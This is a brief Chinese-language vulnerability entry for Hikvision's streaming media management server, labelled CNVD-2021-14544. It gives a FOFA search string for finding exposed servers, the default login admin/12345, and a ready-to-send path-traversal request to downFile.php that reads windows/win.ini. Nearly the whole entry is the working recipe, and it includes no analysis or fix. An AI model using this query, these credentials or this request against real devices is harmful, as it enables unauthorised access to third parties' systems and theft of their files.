海康威视 流媒体管理服务器任意文件读取/通用弱口令 CNVD-2021-14544
杭州海康威视系统技术有限公司流媒体管理服务器存在弱口令漏洞，攻击者可利用该漏洞获取敏感信息。
FOFA:
title="流媒体管理服务器"
默认口令：admin/12345
PoC:
GET /systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host:
ref: